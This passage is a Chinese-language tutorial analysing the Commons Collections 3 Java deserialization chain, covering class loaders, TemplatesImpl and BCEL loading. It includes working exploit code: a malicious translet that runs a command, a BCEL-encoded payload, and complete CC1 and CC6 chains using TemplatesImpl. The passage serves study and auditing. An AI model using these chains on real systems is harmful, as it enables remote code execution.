Commons Collections 3 分析
CC3这条链子的思路是用了我们一开始学的java的类的动态加载,如果我们的链子总是依赖ChainedTransformer的transform方法,利用反射将多个Invoketranfoemer来进行的执行命令这样的思路,要是Invoketranfoemer类进入了黑名单,这样整条链子就不能用了。
为了摆脱这样的限制,CC3链子的这种思路就应运而生了。
环境
1 2 Commons Collections3.2.1 jdkjdk8u231
Maven 依赖示例:
1 2 3 4 5 6 7 <dependencies > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > </dependencies >
前置知识 JVM 的 ClassLoader 机制 JVM 里都有哪些 ClassLoader?
三大“官方”ClassLoader
BootstrapClassLoader(启动类加载器)
ExtensionClassLoader(扩展类加载器) (有的实现叫 PlatformClassLoader)
父亲是:Bootstrap
加载 JAVA_HOME/jre/lib/ext 或者 java.ext.dirs 指定路径下的 JAR。
AppClassLoader / SystemClassLoader(应用类加载器)
父亲是:Extension
加载 -classpath、-cp 或 CLASSPATH 指定的类和 JAR。
我们写的一般 Java 程序默认都是它来加载的。
自定义 ClassLoader 任何你 extends ClassLoader,或者 extends URLClassLoader 实现的类,都是应用自定义类加载器 :
用于:插件机制、脚本引擎、热加载、隔离不同模块依赖等。
也常常是安全审计的重点 :因为很多 gadget 链最后就是靠某个自定义 ClassLoader 把恶意字节码变成 Class 然后执行。
类加载的过程 这块在审计时,主要用来推断什么时候会执行静态代码块 / 静态字段初始化 (很多 RCE 就埋在 <clinit> 或静态初始化里)。
一个类从“字节码”到“可用的 Class 对象”,大致经过这些阶段:
加载(Loading)
通过某个 ClassLoader 找到 .class 的字节码(来源可以是文件、JAR、网络、内存)。
调用 defineClass(byte[] b, int off, int len, ...) 把 byte[] 变成 JVM 里的 Class<?>
1 2 3 4 5 6 flowchart TD A[JVM 需要某个类] --> B{方法区是否已有类信息?} B -->|是| C[直接使用已加载的类] B -->|否| D[类加载器读取字节码] D --> E[将类信息放入方法区(元空间)] E --> F[初始化阶段]
链接(Linking)
验证(Verify) :字节码合法性检查,是否符合 JVM 规范(防止随便写乱七八糟的字节码把 JVM 搞崩)。
准备(Prepare) :为静态字段分配内存,设置默认值(0 / null / false)。
解析(Resolve) :把常量池里的符号引用(类名、方法名、字段名)解析成实际引用。
初始化(Initialization)
执行类变量的显式赋值、静态代码块:
1 2 static int x = initX();static { doSomethingDangerous(); }
正是这一步会触发很多 gadget 的恶意逻辑。
顺序总结为: ** 父静态 → 子静态 → 父实例 → 父构造 → 子实例 → 子构造 **
demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 package org.ysoserial.CC3;public class Test { public static void main (String[] args) { new Child (); } static class Parent { static { System.out.println("Parent static" ); } static int pStaticValue = initPStaticValue(); private static int initPStaticValue () { System.out.println("Parent static pStaticValue" ); return 1 ; } { System.out.println("Parent instance block" ); } int pValue = initPValue(); private int initPValue () { System.out.println("Parent instance pValue" ); return 10 ; } public Parent () { System.out.println("Parent constructor" ); } } static class Child extends Parent { static { System.out.println("Child static" ); } static int cStaticValue = initCStaticValue(); private static int initCStaticValue () { System.out.println("Child static cStaticValue" ); return 2 ; } { System.out.println("Child instance block" ); } int cValue = initCValue(); private int initCValue () { System.out.println("Child instance cValue" ); return 20 ; } public Child () { System.out.println("Child constructor" ); } } }
运行结果
审计提示: 看到代码里有 Class.forName(...)、ClassLoader.loadClass(...),要问自己:
这个类是不是一加载就会初始化 ?
有没有静态块 / 静态字段的恶意逻辑?
双亲委派机制(Parents Delegation Model) 双亲委派机制是 JVM 类加载体系的基础,几乎所有 Java 框架都会围绕它进行扩展或隔离。
典型 loadClass 的执行流程 ClassLoader.loadClass(String name, boolean resolve) 的默认实现严格遵循双亲委派机制,其逻辑如下:
先检查自身缓存 中是否已经加载过(避免重复加载)。
将类加载请求委派给父类加载器 去处理(双亲委派)。
如果父加载器层层向上仍然找不到该类,才由当前加载器调用 findClass 进行实际加载 。
为什么需要双亲委派? 双亲委派模型的出现主要基于安全性和一致性两大考虑:
防止应用覆盖 JDK 核心类 (如自定义 java.lang.String)。
保证 java.* 等核心类由 BootstrapClassLoader 统一加载,确保系统行为一致。
审计角度的关键点 在代码审计(尤其是反序列化链与 ClassLoader 相关的链子)中必须关注:
自定义 ClassLoader 是否重写了 loadClass ;
是否不再遵循双亲委派模型 (例如直接调用 findClass、跳过 super.loadClass);
因为打破双亲委派机制可能导致:
同名类冲突 ;
覆盖行为 (某些插件框架故意破坏双亲委派,实现自己的“类优先”逻辑);
更严重的是:可能为恶意字节码加载打开入口。
findClass、defineClass:真正的危险区域和 CC3 等反序列化链相关时,最需要审计的就是这两个方法。
findClass(String name)
findClass 是自定义类加载器实际执行“字节码读取 → 加载 ”的地方:
1 2 3 4 protected Class<?> findClass(String name) throws ClassNotFoundException { byte [] b = getClassBytesFromSomewhere(name); return defineClass(name, b, 0 , b.length); }
审计关键点:
字节码来源(文件、HTTP、数据库、用户输入)是否可被攻击者控制;
是否存在“字节码拼装 → defineClass” 的链路;
如果字节码可控,即 任意类加载 → 任意代码执行 。
defineClass(...) —— byte[] 变成 Class 的最终入口
常见签名:
1 2 3 4 5 6 protected final Class<?> defineClass(String name, byte [] b, int off, int len, ProtectionDomain pd); protected final Class<?> defineClass(String name, ByteBuffer b, ProtectionDomain pd);
特点:
审计重点:
是否出现类似的反射调用:
1 2 3 4 Method m = ClassLoader.class.getDeclaredMethod( "defineClass" , byte [].class, int .class, int .class); m.setAccessible(true ); Class<?> clazz = (Class<?>) m.invoke(classLoader, bytes, 0 , bytes.length);
bytes 是否来自攻击者可控来源;
加载完后是否会:
触发类初始化(静态块 / 静态字段) ;
或立即实例化执行构造方法 / 某些回调方法 。
动态加载字节码 严格来说,Java 字节码(ByteCode)其实仅仅指的是 Java 虚拟机执行使用的一类指令,通常被存储在 .class 文件中
而字节码的诞生是为了让 JVM 的流通性更强,可以看下面图理解一下
loadClass() 不会初始化类 demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package org.ysoserial.CC3;public class Test1 { public static void main (String[] args) throws InstantiationException, IllegalAccessException, ClassNotFoundException { System.out.println("=== 调用 ClassLoader.loadClass ===" ); Class<?> clazz = Test1.class.getClassLoader().loadClass("org.ysoserial.CC3.Demo" ); System.out.println(clazz); System.out.println("=== loadClass结束 ===" ); Object obj = clazz.newInstance(); } } class Demo { static { System.out.println("Demo static" ); } static int value = initValue(); private static int initValue () { System.out.println("initValue" ); return 123 ; } public Demo () { System.out.println("Demo constructor" ); } }
输出为
调用 loadClass() 后,Demo 的静态代码块不执行,说明loadClass 不会初始化类
双亲委派机制类加载访问流程: 1 2 3 4 5 ClassLoader —-> SecureClassLoader -—> URLClassLoader —-> APPClassLoader
loadClass() → findClass() → defineClass()
loadClass(name) 对外暴露的入口,负责实现双亲委派、缓存等逻辑,一般不推荐重写 。
findClass(name) 真正“去某个地方找字节码”的地方。 通常我们自定义 ClassLoader 时重写这个方法 ,比如:
去某个目录文件里 name.replace('.', '/') + ".class" 读字节
去数据库里查
去网络请求拿
defineClass(name, byte[], off, len, ProtectionDomain) 这是把一坨字节码真正变成 Class<?> 对象的关键方法 。 findClass() 通常就是:
把 class 字节码读进来
调 defineClass(...) 得到 Class<?>
返回给 loadClass()
典型写法:
1 2 3 4 5 6 7 8 @Override protected Class<?> findClass(String name) throws ClassNotFoundException { byte [] bytes = loadClassBytesFromWherever(name); if (bytes == null ) { throw new ClassNotFoundException (name); } return defineClass(name, bytes, 0 , bytes.length); }
双亲委派逻辑在 loadClass(),自定义加载来源在 findClass(),字节码变 Class在 defineClass()
URLClassLoader 任意类加载:file/http/jar demo
1 2 3 4 5 6 7 8 9 URL[] urls = new URL [] { new URL ("file:/path/to/lib/some-lib.jar" ), new URL ("file:/path/to/classes/" ), new URL ("http://example.com/some-remote-lib.jar" ) }; URLClassLoader loader = new URLClassLoader (urls, parentClassLoader);Class<?> clazz = loader.loadClass("com.example.Foo" ); Object obj = clazz.getDeclaredConstructor().newInstance();
正常情况下,Java会根据配置项 sun.boot.class.path 和 java.class.path 中列举到的基础路径(这些路径是经过处理后的 java.net.URL 类)来寻找.class文件来加载,而这个基础路径有分为三种情况:
①:URL未以斜杠 / 结尾,则认为是一个JAR文件,使用 JarLoader 来寻找类,即为在Jar包中寻找.class文件
②:URL以斜杠 / 结尾,且协议名是 file ,则使用 FileLoader 来寻找类,即为在本地文件系统中寻找.class文件
③:URL以斜杠 / 结尾,且协议名不是 file ,则使用最基础的 Loader 来寻找类
ClassLoader.defineClass:字节码加载任意类 只要你有字节码(比如 ASM/Javassist 生成的,或者你自己从网络/数据库拿的), 就可以通过 defineClass 把它变为 JVM 里的一个真实类。
例如:
1 2 3 4 5 6 7 8 9 byte [] bytecode = ...; ClassLoader loader = ...; Class<?> dynamicClass = loader.defineClass( "com.example.DynamicClass" , bytecode, 0 , bytecode.length );
注意几点:
类名要唯一,不能和同一个 ClassLoader 里已加载的类撞名(否则抛异常)。
包名要和 class 字节码里的保持一致。
如果包是 sealed(密封包),还要符合那套规则。
在实际场景中,因为 defineClass 方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链 TemplatesImpl 的基石。在后面 CC3中将会学到
Unsafe.defineClass:更底层的加载方式
UnSafe.defineClass 字节码加载任意类 虽是public类,但不能直接生成 Spring里可以直接生成
这里说的是 sun.misc.Unsafe / jdk.internal.misc.Unsafe 里的 defineClass:
1 2 3 4 5 6 7 8 public native Class<?> defineClass( String name, byte [] b, int off, int len, ClassLoader loader, ProtectionDomain protectionDomain );
功能和 ClassLoader.defineClass 很像: 也是“字节码 → Class”,但是:
这是 JDK 内部类 ,普通应用不能直接用:
类在 sun.misc / jdk.internal.misc 包里
Java 9+ 模块化后访问还会被限制(非法反射访问,强警告)
Unsafe 实例不能正常 new:
构造器是 private
Unsafe.getUnsafe() 只允许由引导类加载器(bootstrap)加载的类调用
普通应用代码调用会抛 SecurityException
怎么使用?
像 Spring / ByteBuddy / Netty 等框架,通常会:
为什么要这么干?因为:
Unsafe.defineClass 绕过了一些标准限制,控制更细粒度(比如定义在特定的 ClassLoader 和 ProtectionDomain 下)。
某些场景(特别是 Java 9+ 模块化、代理、字节码增强)里,可以规避部分 ClassLoader 限制,或者获得更底层能力。
不过现代 Spring(尤其结合 ByteBuddy 等字节码工具)更多还是:
用 ClassLoader.defineClass;
或者利用 JDK 的标准代理 / MethodHandles.Lookup.defineClass 等新 API;
TemplatesImpl 加载字节码 基本知识
JDK 范围
TemplatesImpl 是否存在
反射写私有字段(_bytecodes)
可作为反序列化 RCE Gadget
说明
8
✔
✔ 允许
✔ 可利用
完全开放反射时代
9–15
✔
⚠ 名义封装,但默认仍允许(非法访问仅警告)
✔ 可利用
--illegal-access=permit默认开启
16–21(含 LTS)
✔
❌ 默认被强封装禁止
❌ 默认不可利用
需--add-opens才能恢复利用
所在包路径
1 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
在jdk8之前,所在的jar包地址为:$JAVA_HOME/jre/lib/rt.jar 在 JDK 9+ ,它属于模块java.xml,源文件在 jdk/modules/java.xml 中
TemplatesImpl来自 JDK 自带的 Xalan XSLT 引擎。
XSLT 文件会被编译成 Java 字节码类(Translet),运行时需要把这些字节码加载进 JVM 执行。
为了能加载自己生成的字节码,于是TemplatesImpl自己写了一个类加载器:
1 class TransletClassLoader extends ClassLoader
其中 关键点 是:
原本 ClassLoader#defineClass 方法是 protected, 外部类不能随便调用。但 TransletClassLoader 把它重写成 default(包可见) 它没有写 public、protected、private,所以是 default(package-private) :
1 2 3 Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); }
这样一来,TemplatesImpl 自己就能直接调用它来加载任意字节码。
TemplatesImpl调用链解析 看看TemplatesImpl里哪里调用了defineClass
defineTransletClasses()调用了,可惜属性是 private
1 private void defineTransletClasses ()
找哪里调用了defineTransletClasse()
其中,getTransletInstance()对_class进行判断,若为空,赋值。还调用了newInstance()函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
这个类也是private的,我们再往上找,找到newTransformer()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties, _indentNumber, _tfactory); if (_uriResolver != null ) { transformer.setURIResolver(_uriResolver); } if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) { transformer.setSecureProcessing(true ); } return transformer; }
这个类是public的。最终的调用链为:
TemplatesImpl调用链利用 从newTransformer()开始
会直接调用 getTransletInstance(),跟进
需要对_name赋值,不能赋值 _class ,跟进defineTransletClasses()
需要对_bytecodes赋值(这里需要的是byte[][] 但是 _bytecodes 作为传递进 defineClass 方法的值是一个一维数组。而这个一维数组里面我们需要存放恶意的字节码),_tfactory也需要赋值
exp 构建一个恶意类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 package org.ysoserial.CC3;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class EVil extends AbstractTranslet { @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } static { try { Runtime.getRuntime().exec("open -a calculator" ); }catch (Exception e){ throw new RuntimeException (e); } } }
编译为class文件
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package org.ysoserial.CC3;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javax.xml.transform.TransformerConfigurationException;import java.io.IOException;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class TmplatesImpl_demo { public static void main (String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException { TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates,"_name" ,"test" ); byte [] code = Files.readAllBytes(Paths.get("./src/main/java/org/ysoserial/CC3/Evil.class" )); byte [][] codes = {code}; setFieldValue(templates,"_bytecodes" ,codes); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); templates.newTransformer(); } public static void setFieldValue (Object object,String name,Object value) throws NoSuchFieldException, IllegalAccessException { Class<?> clazz = object.getClass(); Field field = clazz.getDeclaredField(name); field.setAccessible(true ); field.set(object, value); } }
BCEL ClassLoader 加载字节码 BCEL 的全名应该是 Apache Commons BCEL,属于Apache Commons项目下的一个子项目,但其因为被 Apache Xalan 所使用,而 Apache Xalan 又是 Java 内部对于 JAXP 的实现,所以 BCEL 也被包含在了 JDK 的原生库中。
我们可以通过 BCEL 提供的两个类 Repository 和 Utility 来利用:
Repository 用于将一个Java Class 先转换成原生字节码,当然这里也可以直接使用javac命令来编译java 文件生成字节码
Utility 用于将原生的字节码转换成BCEL格式的字节码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package org.example.CC3;import com.sun.org.apache.bcel.internal.Repository;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;import java.io.IOException;public class BCELClassLoaderRce { public static void main (String[] args) throws ClassNotFoundException, IOException { Class<?> clazz = Class.forName("org.example.CC3.Evil" ); JavaClass javaclass = Repository.lookupClass(clazz); String code = Utility.encode(javaclass.getBytes(),true ); System.out.println(code); } }
BCEL ClassLoader 正是用于加载这串特殊的“字节码”,并可以执行其中的代码。我们尝试直接写入
1 2 3 4 5 6 7 8 9 10 11 package org.example.CC3;import com.sun.org.apache.bcel.internal.util.ClassLoader;public class BCEL2 { public static void main (String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException { ClassLoader loader = new ClassLoader (); Class<?> clazz = loader.loadClass("$$BCEL$$" + "$l$8b$I$A$A$A$A$A$A$A$adT$5bO$TA$U$fe$86$d6n$5b$5b$d1$C$F$f1$86W$K$K$a3$C$s$a6D$c5$82$91$d8$aa$b1$N$c6$f84l$87vu$_$cd$ec$W$h$7f$90$3e$f3$a2F$T$7d$f7G$Z$cfl$97$d2H$T$40m$d2$b9$9cs$beo$ce$f9$e6$cc$fe$fc$f5$f5$3b$80E$dcI$p$85$abi$5c$c3t$S$F$3d$cf$Y$985p$3d$8d$En$Y$9830$cf$90X$b6$5c$x$b8$c7$Q$x$ccl0$c4K$5e$5d2$M$97$zW$3em$3b$9bR$d5$c4$a6M$96$5c$d93$85$bd$n$94$a5$f7$911$k4$z$9f$n_$f6T$83$cb$8epZ$b6$e4$a5$d2$C_$db$b6$ec$oC$wP$c2$f5$b7$3c$e50$a8B$d9$f4$i$ee$b7$5d$ae$a3EK$98M$c9$3b$c2$W$$$b7$dc$40$wW$d8$bc$e3$db$81$c9W$9fU$8a$af$HF$3b$f6$5e$ac$_$v$X$dbz$_$V$afFK$RX$9e$fbX$b8u$5b$aa$a2$$$tY$f7$cc$b6$p$dd$80a$eeH$c7$T$b4$d9$e5$a1$fa$k$fe$7b2$M$e9$b5$8e$v$5b$da$e6$h$e0$M$l$8e$a6$c7$81$Z$d4$D$87$af$d6$w$x$j$cb_$t$93$I$3cu0$e8P$gZ$R$j$c3$d2_e$c1$60DZ2$ac$fc$H$r$93$cb$a6$j5$z$a3$s$i$x$bf$R$db$82$93n$N$de$d3$98$c2$b2$d5$40$98o$x$a2$V6$x$b5$3e$ddA$d5k$xS$3e$b2t$f3$a6t$93$cekl$Gi$i7p3$83$5b$b8M$ad$ee$b5$a4$3b5$t$a6J$c26$db$b6$ae$n$83$F$y2$8c$M8$89ar$cf$fa$a2$ed$G$96$p$7bN$cd$bc$c40$3a$e8$7d0$3c8l$D$a8$$$z_$d9$f4$e9E$99AM$3f$x$5bRW$df$3d$y$c5$$$a4$_$efS$fb$f2$s$85$g2$e8m$c6$K3$e5$7d1$a4l$5cv$a4$c90$5d$e8$f3V$De$b9$8db$3f$e0$b9$f2L$e9$fb$E$98$e8$8f$ac5$95$f7N_$Ju$X$$$oI_$v$fd$8b$83$e9k$a01C$3bN3$a3$f9$d8$ecg$b0$jZ$M$nKc$o4$a6p$82$c6L7$A$c38I3$95$83$iEi$f0$7d$fa$c7$b4$edO$606$ENu$9d$RP$afF0$g$fa$a9d$e4$J1$k$e53$R$d2$9e$8eh$d7C$eb$A$da$5cH$3b$dbu$O$a4$9d$c4$ZB$e8$d5Y$9c$a3$e3$f7$OH$e2$7c$af$e8$z$f2$e8$f8$f1$_$Y$ca$c5$3e$n$fe$f2$p$b2O$be$n$f1$8aT0$7e$ecD$c5g$a8$e8Xx$7c$9eV$a0$9cSD$94$a1$5d$96$88$f3$94$ef$ae$3cY$f2$5c$a0zA$3a$D$G$86$ca$G$$$a5$c8q9$ac$e0$cao$S$9a$F$y$y$G$A$A" ); clazz.newInstance(); } }
抛出异常NoClassDefFoundError: AbstractTranslet
原因分析:
在使用 BCEL 加载经 $$BCEL$$ 编码后的类时,若该类继承了:
1 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
则在类加载和链接过程中需要同时加载这个父类。
com.sun.org.apache.bcel.internal.util.ClassLoader(BCEL 自带的 ClassLoader 实现)默认不会委派给父类加载器,它只在自己的 SyntheticRepository 中查找类文件。而这个仓库不包含 JDK 标准库路径。
因此:
Evil.class(由 BCEL 字符串生成)能被成功 decode 并 defineClass;
但在链接阶段加载父类 AbstractTranslet 时,由于 BCELClassLoader 无法访问 java.xml 模块中的相关类,因此抛出:
1 NoClassDefFoundError: AbstractTranslet
解决问题:
利用双亲委派机制,通过将 系统类加载器 作为 BCELClassLoader 的父加载器,可以使 BCELClassLoader 在无法处理某类时,将加载请求委派给系统类加载器。
1 2 3 4 5 6 7 8 9 10 11 12 package org.example.CC3;import com.sun.org.apache.bcel.internal.util.ClassLoader;public class BCEL2 { public static void main (String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException { ClassLoader loader = new ClassLoader (ClassLoader.getSystemClassLoader()); Class<?> clazz = loader.loadClass("$$BCEL$$" + "$l$8b$I$A$A$A$A$A$A$A$adT$5bO$TA$U$fe$86$d6n$5b$5b$d1$C$F$f1$86W$K$K$a3$C$s$a6D$c5$82$91$d8$aa$b1$N$c6$f84l$87vu$_$cd$ec$W$h$7f$90$3e$f3$a2F$T$7d$f7G$Z$cfl$97$d2H$T$40m$d2$b9$9cs$beo$ce$f9$e6$cc$fe$fc$f5$f5$3b$80E$dcI$p$85$abi$5c$c3t$S$F$3d$cf$Y$985p$3d$8d$En$Y$9830$cf$90X$b6$5c$x$b8$c7$Q$x$ccl0$c4K$5e$5d2$M$97$zW$3em$3b$9bR$d5$c4$a6M$96$5c$d93$85$bd$n$94$a5$f7$911$k4$z$9f$n_$f6T$83$cb$8epZ$b6$e4$a5$d2$C_$db$b6$ec$oC$wP$c2$f5$b7$3c$e50$a8B$d9$f4$i$ee$b7$5d$ae$a3EK$98M$c9$3b$c2$W$$$b7$dc$40$wW$d8$bc$e3$db$81$c9W$9fU$8a$af$HF$3b$f6$5e$ac$_$v$X$dbz$_$V$afFK$RX$9e$fbX$b8u$5b$aa$a2$$$tY$f7$cc$b6$p$dd$80a$eeH$c7$T$b4$d9$e5$a1$fa$k$fe$7b2$M$e9$b5$8e$v$5b$da$e6$h$e0$M$l$8e$a6$c7$81$Z$d4$D$87$af$d6$w$x$j$cb_$t$93$I$3cu0$e8P$gZ$R$j$c3$d2_e$c1$60DZ2$ac$fc$H$r$93$cb$a6$j5$z$a3$s$i$x$bf$R$db$82$93n$N$de$d3$98$c2$b2$d5$40$98o$x$a2$V6$x$b5$3e$ddA$d5k$xS$3e$b2t$f3$a6t$93$cekl$Gi$i7p3$83$5b$b8M$ad$ee$b5$a4$3b5$t$a6J$c26$db$b6$ae$n$83$F$y2$8c$M8$89ar$cf$fa$a2$ed$G$96$p$7bN$cd$bc$c40$3a$e8$7d0$3c8l$D$a8$$$z_$d9$f4$e9E$99AM$3f$x$5bRW$df$3d$y$c5$$$a4$_$efS$fb$f2$s$85$g2$e8m$c6$K3$e5$7d1$a4l$5cv$a4$c90$5d$e8$f3V$De$b9$8db$3f$e0$b9$f2L$e9$fb$E$98$e8$8f$ac5$95$f7N_$Ju$X$$$oI_$v$fd$8b$83$e9k$a01C$3bN3$a3$f9$d8$ecg$b0$jZ$M$nKc$o4$a6p$82$c6L7$A$c38I3$95$83$iEi$f0$7d$fa$c7$b4$edO$606$ENu$9d$RP$afF0$g$fa$a9d$e4$J1$k$e53$R$d2$9e$8eh$d7C$eb$A$da$5cH$3b$dbu$O$a4$9d$c4$ZB$e8$d5Y$9c$a3$e3$f7$OH$e2$7c$af$e8$z$f2$e8$f8$f1$_$Y$ca$c5$3e$n$fe$f2$p$b2O$be$n$f1$8aT0$7e$ecD$c5g$a8$e8Xx$7c$9eV$a0$9cSD$94$a1$5d$96$88$f3$94$ef$ae$3cY$f2$5c$a0zA$3a$D$G$86$ca$G$$$a5$c8q9$ac$e0$cao$S$9a$F$y$y$G$A$A" ); clazz.newInstance(); } }
那么为什么要在前面加上 $$BCEL$$ 呢?这里引用一下P神的解释
BCEL 这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个 ClassLoader,但是他重写了 Java 内置的ClassLoader#loadClass()方法。
在 ClassLoader#loadClass() 中,其会判断类名是否是 $$BCEL$$ 开头,如果是的话,将会对这个字符串进行 decode
分析链子 CC1 + TemplatesImpl 结合 这里我们通过CC1的sink点 通过transform反射调用 TemplatesImpl.newTransformer(),链子本身没变,只改变最后命令执行的方式
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 package org.example.CC3;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class CC1withCC3 { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates,"_name" ,"test" ); byte [] code = Files.readAllBytes(Paths.get("./src/main/java/org/example/CC3/Evil.class" )); byte [][] codes = {code}; setFieldValue(templates,"_bytecodes" ,codes); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); templates.newTransformer(); Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" , null ,null ), }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> map = new HashMap <>(); map.put("value" ,"value" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null ,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHandlerConstruction = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstruction.setAccessible(true ); Object o = annotationInvocationHandlerConstruction.newInstance(Target.class,transformedMap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); return obj; } public static void setFieldValue (Object obj,String name,Object value) throws NoSuchFieldException, IllegalAccessException { Class<?> clazz = obj.getClass(); Field field = clazz.getDeclaredField(name); field.setAccessible(true ); field.set(obj,value); } }
CC6 + TemplatesImpl 结合 同理
CC6与 TemplatesImpl结合的话,也是最终sink点 transform反射调用 TemplatesImpl.newTransformer()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 package org.example.CC3;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC6withCC3 { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); setFieldValue(templates,"_name" ,"test" ); byte [] code = Files.readAllBytes(Paths.get("./src/main/java/org/example/CC3/Evil.class" )); byte [][] codes = {code}; setFieldValue(templates,"_bytecodes" ,codes); setFieldValue(templates, "_tfactory" , new TransformerFactoryImpl ()); templates.newTransformer(); Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" , null ,null ), }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object, Object> hashMap = new HashMap <>(); Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "11" ); HashMap<Object, Object> expMap = new HashMap <>(); expMap.put(tiedMapEntry, "11" ); lazyMap.remove("11" ); Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMap, chainedTransformer); serialize(expMap); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); 